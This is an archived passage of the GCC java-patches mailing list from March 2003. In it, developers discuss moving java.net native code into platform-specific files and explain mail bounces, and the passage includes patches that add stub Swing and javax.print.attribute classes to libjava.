From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: Patch: FYI: Remove some ifdefs Date: Mon, 17 Mar 2003 08:39:23 +0100 User-Agent: KMail/1.5 References: <87el567rtw.fsf@fleche.redhat.com> In-Reply-To: <87el567rtw.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303170839.23202.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 17. M=E4rz 2003 01:35 schrieb Tom Tromey: > I'm checking this in on the trunk. > > This removes a few platform-specific ifdefs from some of the core > and instead moves them into the platform header. I think our goal > should be to have no platform-specific (as opposed to > feature-specific) defines in the main code. > > There are still some in java.net (Michael Koch may be working on > this though) and a few in jni.cc. The latter may require some > minor code restructuring. Yes, look at the mail with this topic: RFC: Moving native code in=20 java.net into architecture dependant files. I just wait for an approval from you or Andrew. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dXurWSOgCCdjSDsRArr+AKCGaY+RwQ35GmVMGgOOonlowJ83ZgCfRqR9 O7+RrcneQ9RBC4j7j8Nx//U=3D =3DiWMH =2D----END PGP SIGNATURE----- From java-patches-return-6491-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 08:48:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4104 invoked by alias); 17 Mar 2003 08:48:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3844 invoked from network); 17 Mar 2003 08:47:58 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 17 Mar 2003 08:47:58 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2H8lbl13343; Mon, 17 Mar 2003 08:47:37 GMT From: Andrew Haley Message-ID: <15989.35740.612745.903389@cuddles.cambridge.redhat.com> Date: Mon, 17 Mar 2003 08:47:24 +0000 (GMT) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files In-Reply-To: <200303161731.47699.konqueror@gmx.de> References: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> <200303161731.47699.konqueror@gmx.de> Michael Koch writes: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Am Sonntag, 16. März 2003 04:28 schrieb Mohan Embar: > > Michael, > > > > >Here is a patch which moves the native code of java.net into > > >architecture dependant files for better/easier maintaining, as > > >requested by several people. > > > > - Is it a done deal that all eCos variants will never have any net > > code in them? No, it isn't. > > If not, the naming conventions seem to establish the equivalence > > between the eCos platform and java.net functionality being > > disabled. Is this confusing from a naming standpoint? What if > > instead of natInetAddressEcos.cc (for example), you had > > natInetAddressNoNet.cc and made another variable called > > NET_PLATFORM which factored in not only PLATFORM, but also > > whether enable_java_net was "no"? > > As I understood it Ecos is more used as a synomynon for a > non-supported architecture. At least I think I read that on the lists > (a comment from Tom I think). For the time being, yes. But if someone submits a patch that properly enables networking on eCos it'll be welcome. Andrew. From java-patches-return-6492-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 08:55:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8362 invoked by alias); 17 Mar 2003 08:55:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8291 invoked from network); 17 Mar 2003 08:55:34 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 17 Mar 2003 08:55:34 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2H8tSv13360; Mon, 17 Mar 2003 08:55:28 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15989.36224.254373.722551@cuddles.cambridge.redhat.com> Date: Mon, 17 Mar 2003 08:55:28 +0000 (GMT) To: "Ranjit Mathew" Cc: "Java Patches" Subject: Fw: ezmlm warning In-Reply-To: References: Ranjit Mathew writes: > Hi, > > Every now and then, I get spurious bounced mail messages from the > software that manages this list - a sample is attached below. I get > almost all the messages normally, except for these mysterious few. > > The "65.54.254.140 does not like recipient" message does not make > much sense to me nor does the following > "Unable to relay for rmathew4lists@hotmail.com". > > Does anyone know what causes these weird bounces and how, if at all, > I can help in sorting out matters? Does anyone else get these > intermittent bounces as well? 65.54.254.140 resolves like this: 140.254.54.65.in-addr.arpa domain name pointer mc3.law16.hotmail.com. In other words, hotmail.com is refusing to relay mail to rmathew4lists@hotmail.com. Andrew. From java-patches-return-6493-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 09:05:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20932 invoked by alias); 17 Mar 2003 09:05:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20872 invoked from network); 17 Mar 2003 09:05:58 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 17 Mar 2003 09:05:58 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-064.ewetel.net [80.228.73.64]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2H95udx002655; Mon, 17 Mar 2003 10:05:56 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18uqY8-0001Z4-00; Mon, 17 Mar 2003 10:04:52 +0100 From: Michael Koch To: Andrew Haley Subject: Re: RFC: Moving native code in java.net into architecture dependant files Date: Mon, 17 Mar 2003 10:07:00 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> <200303161731.47699.konqueror@gmx.de> <15989.35740.612745.903389@cuddles.cambridge.redhat.com> In-Reply-To: <15989.35740.612745.903389@cuddles.cambridge.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303171007.00856.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 17. M=E4rz 2003 09:47 schrieb Andrew Haley: > > > If not, the naming conventions seem to establish the > > > equivalence between the eCos platform and java.net > > > functionality being disabled. Is this confusing from a naming > > > standpoint? What if instead of natInetAddressEcos.cc (for > > > example), you had natInetAddressNoNet.cc and made another > > > variable called NET_PLATFORM which factored in not only > > > PLATFORM, but also whether enable_java_net was "no"? > > > > As I understood it Ecos is more used as a synomynon for a > > non-supported architecture. At least I think I read that on the > > lists (a comment from Tom I think). > > For the time being, yes. But if someone submits a patch that > properly enables networking on eCos it'll be welcome. What do you think about Mohan's idea of introducing NET_PLATFORM ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dZA0WSOgCCdjSDsRAlZfAJ9TDRlehfInnARPCBXi0PaVq8rOYQCgnQiH AqEQDHhhDEl1Tj3JSylAnNo=3D =3Dmg0U =2D----END PGP SIGNATURE----- From java-patches-return-6494-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 09:09:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4511 invoked by alias); 17 Mar 2003 09:09:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4442 invoked from network); 17 Mar 2003 09:09:45 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 17 Mar 2003 09:09:45 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-064.ewetel.net [80.228.73.64]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2H99g8G023242 for ; Mon, 17 Mar 2003 10:09:43 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18uqbn-0001ZQ-00 for ; Mon, 17 Mar 2003 10:08:39 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: javax.swing - new files Date: Mon, 17 Mar 2003 10:10:48 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_YEZd+GfJFvQoljy" Message-Id: <200303171010.48402.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_YEZd+GfJFvQoljy Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to add some missing classes to=20 swing (there are some more missing classes). This patch will be added to classpath too soon. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dZEYWSOgCCdjSDsRAho2AJ9tjW71HIE/l7dO1S6j9xA5t4jcngCgnqh0 2c6ceQ2ENCv4vtZw17ggQBM=3D =3DnfpC =2D----END PGP SIGNATURE----- --Boundary-00=_YEZd+GfJFvQoljy Content-Type: text/x-diff; charset="iso-8859-15"; name="swing.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="swing.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1778 diff -u -r1.1778 ChangeLog --- ChangeLog 17 Mar 2003 00:45:35 -0000 1.1778 +++ ChangeLog 17 Mar 2003 09:07:52 -0000 @@ -1,3 +1,16 @@ +2003-03-17 Michael Koch + + * javax/print/attribute/Attribute.java, + javax/print/attribute/AttributeSet.java, + javax/print/attribute/PrintRequestAttributeSet.java: + New files. + * Makefile.am + (awt_java_source_files): Added new files: + javax/print/attribute/Attribute.java + javax/print/attribute/AttributeSet.java + javax/print/attribute/PrintRequestAttributeSet.java + * Makefile.in: Regenerated. + 2003-03-16 Tom Tromey * resolve.cc (ncode): Use _Jv_platform_ffi_abi. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.286 diff -u -r1.286 Makefile.am --- Makefile.am 10 Mar 2003 17:28:21 -0000 1.286 +++ Makefile.am 17 Mar 2003 09:07:53 -0000 @@ -1232,6 +1232,7 @@ javax/swing/JComponent.java \ javax/swing/JDialog.java \ javax/swing/JEditorPane.java \ +javax/swing/JFormattedTextField.java \ javax/swing/JFrame.java \ javax/swing/JLabel.java \ javax/swing/JLayeredPane.java \ @@ -1316,6 +1317,7 @@ javax/swing/text/DefaultCaret.java \ javax/swing/text/DefaultEditorKit.java \ javax/swing/text/Document.java \ +javax/swing/text/DocumentFilter.java \ javax/swing/text/EditorKit.java \ javax/swing/text/Element.java \ javax/swing/text/GapContent.java \ @@ -1329,6 +1331,7 @@ javax/swing/text/View.java \ javax/swing/text/ViewFactory.java \ javax/swing/text/MutableAttributeSet.java \ +javax/swing/text/NavigationFilter.java \ javax/swing/text/StyledDocument.java \ javax/swing/text/StyledEditorKit.java \ javax/swing/text/TextAction.java \ Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.307 diff -u -r1.307 Makefile.in --- Makefile.in 10 Mar 2003 17:28:21 -0000 1.307 +++ Makefile.in 17 Mar 2003 09:07:55 -0000 @@ -1001,6 +1001,7 @@ javax/swing/JComponent.java \ javax/swing/JDialog.java \ javax/swing/JEditorPane.java \ +javax/swing/JFormattedTextField.java \ javax/swing/JFrame.java \ javax/swing/JLabel.java \ javax/swing/JLayeredPane.java \ @@ -1085,6 +1086,7 @@ javax/swing/text/DefaultCaret.java \ javax/swing/text/DefaultEditorKit.java \ javax/swing/text/Document.java \ +javax/swing/text/DocumentFilter.java \ javax/swing/text/EditorKit.java \ javax/swing/text/Element.java \ javax/swing/text/GapContent.java \ @@ -1098,6 +1100,7 @@ javax/swing/text/View.java \ javax/swing/text/ViewFactory.java \ javax/swing/text/MutableAttributeSet.java \ +javax/swing/text/NavigationFilter.java \ javax/swing/text/StyledDocument.java \ javax/swing/text/StyledEditorKit.java \ javax/swing/text/TextAction.java \ @@ -3853,13 +3856,14 @@ .deps/javax/swing/JComboBox.P .deps/javax/swing/JComponent.P \ .deps/javax/swing/JDesktopPane.P .deps/javax/swing/JDialog.P \ .deps/javax/swing/JEditorPane.P .deps/javax/swing/JFileChooser.P \ -.deps/javax/swing/JFrame.P .deps/javax/swing/JInternalFrame.P \ -.deps/javax/swing/JLabel.P .deps/javax/swing/JLayeredPane.P \ -.deps/javax/swing/JList.P .deps/javax/swing/JMenu.P \ -.deps/javax/swing/JMenuBar.P .deps/javax/swing/JMenuItem.P \ -.deps/javax/swing/JOptionPane.P .deps/javax/swing/JPanel.P \ -.deps/javax/swing/JPasswordField.P .deps/javax/swing/JPopupMenu.P \ -.deps/javax/swing/JProgressBar.P .deps/javax/swing/JRadioButton.P \ +.deps/javax/swing/JFormattedTextField.P .deps/javax/swing/JFrame.P \ +.deps/javax/swing/JInternalFrame.P .deps/javax/swing/JLabel.P \ +.deps/javax/swing/JLayeredPane.P .deps/javax/swing/JList.P \ +.deps/javax/swing/JMenu.P .deps/javax/swing/JMenuBar.P \ +.deps/javax/swing/JMenuItem.P .deps/javax/swing/JOptionPane.P \ +.deps/javax/swing/JPanel.P .deps/javax/swing/JPasswordField.P \ +.deps/javax/swing/JPopupMenu.P .deps/javax/swing/JProgressBar.P \ +.deps/javax/swing/JRadioButton.P \ .deps/javax/swing/JRadioButtonMenuItem.P .deps/javax/swing/JRootPane.P \ .deps/javax/swing/JScrollBar.P .deps/javax/swing/JScrollPane.P \ .deps/javax/swing/JSeparator.P .deps/javax/swing/JSlider.P \ @@ -4015,10 +4019,13 @@ .deps/javax/swing/text/ComponentView.P \ .deps/javax/swing/text/DefaultCaret.P \ .deps/javax/swing/text/DefaultEditorKit.P \ -.deps/javax/swing/text/Document.P .deps/javax/swing/text/EditorKit.P \ -.deps/javax/swing/text/Element.P .deps/javax/swing/text/GapContent.P \ +.deps/javax/swing/text/Document.P \ +.deps/javax/swing/text/DocumentFilter.P \ +.deps/javax/swing/text/EditorKit.P .deps/javax/swing/text/Element.P \ +.deps/javax/swing/text/GapContent.P \ .deps/javax/swing/text/JTextComponent.P .deps/javax/swing/text/Keymap.P \ .deps/javax/swing/text/MutableAttributeSet.P \ +.deps/javax/swing/text/NavigationFilter.P \ .deps/javax/swing/text/PlainDocument.P \ .deps/javax/swing/text/PlainEditorKit.P \ .deps/javax/swing/text/Position.P .deps/javax/swing/text/Segment.P \ Index: javax/swing/JFormattedTextField.java =================================================================== RCS file: javax/swing/JFormattedTextField.java diff -N javax/swing/JFormattedTextField.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/swing/JFormattedTextField.java 17 Mar 2003 09:07:55 -0000 @@ -0,0 +1,230 @@ +/* JFormattedTextField.java -- + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.swing; + +import java.awt.event.FocusEvent; +import java.io.Serializable; +import java.text.Format; +import javax.swing.text.Document; +import javax.swing.text.DocumentFilter; +import javax.swing.text.NavigationFilter; + +/** + * @author Michael Koch + * @since 1.4 + */ +public class JFormattedTextField extends JTextField +{ + public abstract static class AbstractFormatter implements Serializable + { + public AbstractFormatter () + { + //Do nothing here. + } + + protected Object clone () + { + throw new InternalError ("not implemented"); + } + + protected Action[] getActions () + { + throw new InternalError ("not implemented"); + } + + protected DocumentFilter getDocumentFilter () + { + throw new InternalError ("not implemented"); + } + + protected JFormattedTextField getFormattedTextField () + { + throw new InternalError ("not implemented"); + } + + protected NavigationFilter getNavigationFilter () + { + throw new InternalError ("not implemented"); + } + + public void install (JFormattedTextField ftf) + { + throw new InternalError ("not implemented"); + } + + public void uninstall () + { + throw new InternalError ("not implemented"); + } + + protected void invalidEdit () + { + throw new InternalError ("not implemented"); + } + + protected void setEditValid () + { + throw new InternalError ("not implemented"); + } + + public abstract Object stringToValue (String text); + + public abstract String valueToString (Object value); + } + + public abstract static class AbstractFormatterFactory + { + public AbstractFormatterFactory () + { + // Do nothing here. + } + + public abstract AbstractFormatter getFormatter (JFormattedTextField tf); + } + + public static final int COMMIT = 0; + public static final int COMMIT_OR_REVERT = 1; + public static final int REVERT = 2; + public static final int PERSIST = 3; + + public JFormattedTextField () + { + throw new InternalError ("not implemented"); + } + + public JFormattedTextField (Format format) + { + throw new InternalError ("not implemented"); + } + + public JFormattedTextField (AbstractFormatter formatter) + { + throw new InternalError ("not implemented"); + } + + public JFormattedTextField (AbstractFormatterFactory factory) + { + throw new InternalError ("not implemented"); + } + + public JFormattedTextField (AbstractFormatterFactory factory, Object value) + { + throw new InternalError ("not implemented"); + } + + public JFormattedTextField (Object value) + { + throw new InternalError ("not implemented"); + } + + public void commitEdit () + { + throw new InternalError ("not implemented"); + } + + public Action[] getActions () + { + throw new InternalError ("not implemented"); + } + + public int getFocusLostBehaviour () + { + throw new InternalError ("not implemented"); + } + + public AbstractFormatter getFormatter () + { + throw new InternalError ("not implemented"); + } + + public AbstractFormatterFactory getFormatterFactory () + { + throw new InternalError ("not implemented"); + } + + public String getUIClassID () + { + throw new InternalError ("not implemented"); + } + + public Object getValue () + { + throw new InternalError ("not implemented"); + } + + protected void invalidEdit () + { + throw new InternalError ("not implemented"); + } + + public boolean isEditValid () + { + throw new InternalError ("not implemented"); + } + + protected void processFocusEvent (FocusEvent evt) + { + throw new InternalError ("not implemented"); + } + + public void setDocument (Document document) + { + throw new InternalError ("not implemented"); + } + + public void setLostFocusBehavior (int behavior) + { + throw new InternalError ("not implemented"); + } + + protected void setFormatter (AbstractFormatter formatter) + { + throw new InternalError ("not implemented"); + } + + public void setFormatterFactory (AbstractFormatterFactory factory) + { + throw new InternalError ("not implemented"); + } + + public void setValue (Object value) + { + throw new InternalError ("not implemented"); + } +} Index: javax/swing/text/DocumentFilter.java =================================================================== RCS file: javax/swing/text/DocumentFilter.java diff -N javax/swing/text/DocumentFilter.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/swing/text/DocumentFilter.java 17 Mar 2003 09:07:55 -0000 @@ -0,0 +1,43 @@ +/* DocumentFilter.java -- + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.swing.text; + +public class DocumentFilter +{ +} Index: javax/swing/text/NavigationFilter.java =================================================================== RCS file: javax/swing/text/NavigationFilter.java diff -N javax/swing/text/NavigationFilter.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/swing/text/NavigationFilter.java 17 Mar 2003 09:07:55 -0000 @@ -0,0 +1,43 @@ +/* NavigationFilter.java -- + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.swing.text; + +public class NavigationFilter +{ +} --Boundary-00=_YEZd+GfJFvQoljy-- From java-patches-return-6495-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 09:11:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10739 invoked by alias); 17 Mar 2003 09:11:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10700 invoked from network); 17 Mar 2003 09:11:28 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 17 Mar 2003 09:11:28 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-064.ewetel.net [80.228.73.64]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2H9BQ8G024095 for ; Mon, 17 Mar 2003 10:11:26 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18uqdS-0001ZZ-00 for ; Mon, 17 Mar 2003 10:10:22 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: javax.print.attribute - new classes Date: Mon, 17 Mar 2003 10:12:31 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303171012.31937.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk. It adds three new classes=20 (more are missing).=20 This patch will be added to classpath too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dZF/WSOgCCdjSDsRAuMdAJ4g0I44mM5uMaqAV3EdF+lQrRK6jACgmlWW Vvw05DHTKm8K4LjhvVFKkJI=3D =3DvmE+ =2D----END PGP SIGNATURE----- From java-patches-return-6496-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 09:12:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17222 invoked by alias); 17 Mar 2003 09:12:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17157 invoked from network); 17 Mar 2003 09:12:53 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 17 Mar 2003 09:12:53 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-064.ewetel.net [80.228.73.64]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2H9Cp8G024848 for ; Mon, 17 Mar 2003 10:12:52 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18uqeq-0001Zh-00 for ; Mon, 17 Mar 2003 10:11:48 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: FYI: Patch: javax.print.attribute - new classes [now with patch] Date: Mon, 17 Mar 2003 10:13:57 +0100 User-Agent: KMail/1.5 References: <200303171012.31937.konqueror@gmx.de> In-Reply-To: <200303171012.31937.konqueror@gmx.de> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_VHZd+ff4bMn5ngp" Message-Id: <200303171013.57434.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_VHZd+ff4bMn5ngp Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 17. M=E4rz 2003 10:12 schrieb Michael Koch: > Hi list, > > > I commited the attached patch to trunk. It adds three new classes > (more are missing). > > This patch will be added to classpath too. > > > Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dZHVWSOgCCdjSDsRAonpAJ9QH+SsqHpwFCP0U49uKkqK0Wc2MwCfT0Xy g5bimoKXe9nWSy4j8izsh6E=3D =3DetGC =2D----END PGP SIGNATURE----- --Boundary-00=_VHZd+ff4bMn5ngp Content-Type: text/x-diff; charset="iso-8859-15"; name="print.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="print.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1779 diff -u -r1.1779 ChangeLog --- ChangeLog 17 Mar 2003 09:09:37 -0000 1.1779 +++ ChangeLog 17 Mar 2003 09:12:16 -0000 @@ -5,6 +5,19 @@ javax/print/attribute/PrintRequestAttributeSet.java: New files. * Makefile.am + (javax_source_files): Added new files: + javax/print/attribute/Attribute.java + javax/print/attribute/AttributeSet.java + javax/print/attribute/PrintRequestAttributeSet.java + * Makefile.in: Regenerated. + +2003-03-17 Michael Koch + + * javax/print/attribute/Attribute.java, + javax/print/attribute/AttributeSet.java, + javax/print/attribute/PrintRequestAttributeSet.java: + New files. + * Makefile.am (awt_java_source_files): Added new files: javax/print/attribute/Attribute.java javax/print/attribute/AttributeSet.java Index: javax/print/attribute/Attribute.java =================================================================== RCS file: javax/print/attribute/Attribute.java diff -N javax/print/attribute/Attribute.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/print/attribute/Attribute.java 17 Mar 2003 09:12:16 -0000 @@ -0,0 +1,50 @@ +/* Attribute.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you 